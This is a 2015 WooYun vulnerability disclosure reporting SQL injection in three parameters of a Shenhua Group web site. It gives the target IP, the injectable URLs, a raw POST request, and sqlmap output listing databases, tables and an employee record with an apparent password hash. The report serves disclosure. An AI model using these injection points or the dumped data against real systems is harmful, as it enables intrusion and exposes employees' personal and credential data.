当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0161488

漏洞标题：神华集团某站多处SQL注入打包（可union）

相关厂商：神华集团

漏洞作者： Xmyth_夏洛克

提交时间：2015-12-15 14:23

修复时间：2015-12-20 14:24

公开时间：2015-12-20 14:24

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-12-15： 细节已通知厂商并且等待厂商处理中
2015-12-20： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

RT

详细说明：

神华宁煤集团存在3处注入，两处get型，一处post型

网站.png


1:http://218.203.132.116/taixi/article.do?articleID=35894 articleID存在注入

注入.png


2:http://218.203.132.116/taixi/channel.do?id=60062 id存在注入

id注入.png


3.输入框存在注入

输入框.png


报错

输入框报错.png


POST /taixi/search.do HTTP/1.1
Host: 218.203.132.116
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:42.0) Gecko/20100101 Firefox/42.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://218.203.132.116/taixi/search.do
Cookie: ASP.NET_SessionId=qf4ubc55dsb35tnzrcuurl45
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
keyword=123*


keyword存在注入

输入诸如.png

漏洞证明：

dba权限

dba.png


涉及6个库，其中有oa，web等等

dbs.png


大量数据
Database: cmsoa
[150 tables]
+--------------------------+
| Address_Group |
| Address_Group |
| Asset_Cfg |
| Asset_CptlInfo |
| Asset_DpctSub |
| Asset_PrcsProp |
| Asset_Type |
| Attachment |
| Attend_Config |
| Attend_Duty |
| Attend_Evection |
| Attend_Holiday |
| Attend_Leave |
| Attend_Out |
| Attend_Para |
| BAP_CMS_ARTICLEImage |
| BAP_CMS_ARTICLEImage |
| BAP_CMS_ATTACHMENT |
| BAP_CMS_ATTACH_RES |
| BAP_CMS_CHANNEL |
| BAP_CMS_COMMENT |
| BAP_CMS_DOWNLOAD_TYPE |
| BAP_CMS_DOWNLOAD_TYPE |
| BAP_CMS_Data |
| BAP_CMS_DatashareTable |
| BAP_CMS_IIS_LOG |
| BAP_CMS_Link |
| BAP_CMS_PICTURE |
| BAP_CMS_REL_RES_TYPE |
| BAP_CMS_RESOURCE_TYPE |
| BAP_CMS_RESOURCE_TYPE |
| BAP_CMS_SITE |
| BAP_CMS_TABLE_AUTHORIZE |
| BAP_CMS_TEMPLATE_ACTION |
| BAP_CMS_TEMPLATE_ACTION |
| BAP_CMS_TEMPLATE_REF |
| BAP_CMS_TEPLATE_TYPE_REL |
| BAP_CMS_VideoType |
| BAP_CMS_Video_Attachment |
| BAP_CMS_Video_Attachment |
| BAP_CT_PICTURE_TYPE |
| Bbs_Board |
| Bbs_Comment |
| Book_Borrow |
| Book_Info |
| Book_Type |
| Calendar |
| Chat_Messages |
| Chat_Sessions |
| Chat_User |
| CommentBadWord |
| CommentObject |
| CommentRecord |
| CommentType |
| Crm_Contact |
| Crm_Customer |
| Crm_Linkman |
| Crm_Memo |
| Department |
| Diary_Comment |
| Diary_Comment |
| Email_Box |
| Email_Box |
| Event |
| Field_Data |
| Field_Setting |
| Flow_Form_Type |
| Flow_Process |
| Flow_Run_Data |
| Flow_Run_Data |
| Flow_Run_Feedback |
| Flow_Run_Prcs |
| Flow_Sign |
| Flow_Sort |
| Flow_Type |
| Group |
| Gzzd |
| Hrms_Contract |
| Hrms_Contract |
| Hrms_Post |
| Hrms_Reward |
| Hrms_Train |
| Interface |
| Knowledge |
| Meeting_Room |
| Meeting_Room |
| Mobile_Priv |
| Mobile_Priv |
| Mobile_Receive |
| MyTable |
| NetMeeting_Messages |
| NetMeeting_Sessions |
| NetMeeting_User |
| Netdisk |
| News_Comment |
| News_Comment |
| News_Type |
| Notify_Type |
| Notify_Type |
| Office_Product |
| Office_Transhistory |
| Office_Type |
| Plan_Type |
| Plan_Work |
| Plugin |
| Post_Tel |
| Provider_Linkman |
| Provider_Linkman |
| Qikan |
| Report_Comment |
| Report_Comment |
| Rms_File |
| Rms_Lend |
| Rms_Roll |
| Rms_Room |
| Sale_Contract_Line |
| Sale_Contract_Line |
| Sale_History |
| Sale_Product |
| Sale_Service |
| Score_Date |
| Score_Flow |
| Score_Group |
| Score_Item |
| Sms |
| Supply_History |
| Supply_Order_Line |
| Supply_Order_Line |
| Sys_Code |
| Sys_Function |
| Sys_Log |
| Sys_Menu |
| Sys_Para |
| Unit |
| Url |
| User_Priv |
| Users |
| Vehicle_Maintenance |
| Vehicle_Maintenance |
| Vehicle_Usage |
| Version |
| Video |
| VideoType |
| Vote_Item |
| Vote_Item |
| Webmail_Box |
| Webmail_Box |
| Webmail_Mail |
| sqlmapoutput |
| sysdiagrams |
+--------------------------+
大量员工信息泄露
+----+---------+-------------+---------+---------+----------+----------+--------------------+----------------+----+---------+----------------------------------+---------+---------+---------+---------+---------+---------+---------+---------+---------+---------+--------------------+--------+---------+--------+---------+---------+---------+---------+---------+----------+----------+--------------------------+----------+----------+----------+----------+----------+--------------------------+----------+----------+-----------+---------------------+-----------+--------------------------+------------+------------+------------+-------------+-------------+-------------+--------------+--------------+--------------------+--------------------+---------------+----------------+-----------------+
| Id | UGuid | DeptId2 | UserId2 | PrivId2 | AdUserId | MenuHide | IsHideMobile | IsHideBirthday | Bp | Msn | Icq | Sex | UKey | UExt | Oicq | Note | Skype | SmsOn | State | Theme | Photo | LastIp | BindIp | Mobile | Avatar | UserNo | TelHome | UsingAd | ZipHome | NotUser | UserName | PostPriv | DutyType | NotTable | Birthday | Password | NickName | MenuType | Disabled | UsingKey | PostDept | TelNoDept | FaxNoDept | CallSound | AttendCard | OnlineTime | WebmailNum | TablePhoto | MytableLeft | DefaultMenu | AddressHome | CanBroadcast | MytableRight | LastPassTime | EmailCapacity | LastVisitTime | FolderCapacity | WebmailCapacity |
+----+---------+-------------+---------+---------+----------+----------+--------------------+----------------+----+---------+----------------------------------+---------+---------+---------+---------+---------+---------+---------+---------+---------+---------+--------------------+--------+---------+--------+---------+---------+---------+---------+---------+----------+----------+--------------------------+----------+----------+----------+----------+----------+--------------------------+----------+----------+-----------+---------------------+-----------+--------------------------+------------+------------+------------+-------------+-------------+-------------+--------------+--------------+--------------------+--------------------+---------------+----------------+-----------------+
| 2 | <blank> | 172.22.31.4 | <blank> | <blank> | NULL | <blank> | 01 1 1900 12:00AM | 225 | 1 | <blank> | 7E2B0643A6E2F290AAB97F6D2B2DADFF | <blank> | <blank> | <blank> | <blank> | <blank> | <blank> | <blank> | <blank> | <blank> | <blank> | 12 17 2014 4:20PM | 0 | <blank> | 6 | <blank> | <blank> | <blank> | <blank> | <blank> | <blank> | <blank> | 12 17 2014 \xa0\x33:48PM | <blank> | 01 | <blank> | <blank> | <blank> | 12 17 2014 \xa0\x34:20PM | <blank> | <blank> | <blank> | 3,5,12,6,7,14,15,16 | 100 | 01 \xa0\x31 1900 12:00AM | <blank> | <blank> | <blank> | <blank> | 73 | 13 | 50 | <blank> | 12 17 2014 3:48PM | 1,2,4,9,13,11,8,17 | <blank> | 125887 | <blank> |
+----+---------+-------------+---------+---------+----------+----------+--------------------+----------------+----+---------+----------------------------------+---------+---------+---------+---------+---------+---------+---------+---------+---------+---------+--------------------+--------+---------+--------+---------+---------+---------+---------+---------+----------+----------+--------------------------+----------+----------+----------+----------+----------+--------------------------+----------+----------+-----------+---------------------+-----------+--------------------------+------------+------------+------------+-------------+-------------+-------------+--------------+--------------+--------------------+--------------------+---------------+----------------+-----------------+

修复方案：

过滤

版权声明：转载请注明来源 Xmyth_夏洛克@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2015-12-20 14:24

厂商回复：

漏洞Rank：4 (WooYun评价)

最新状态：

暂无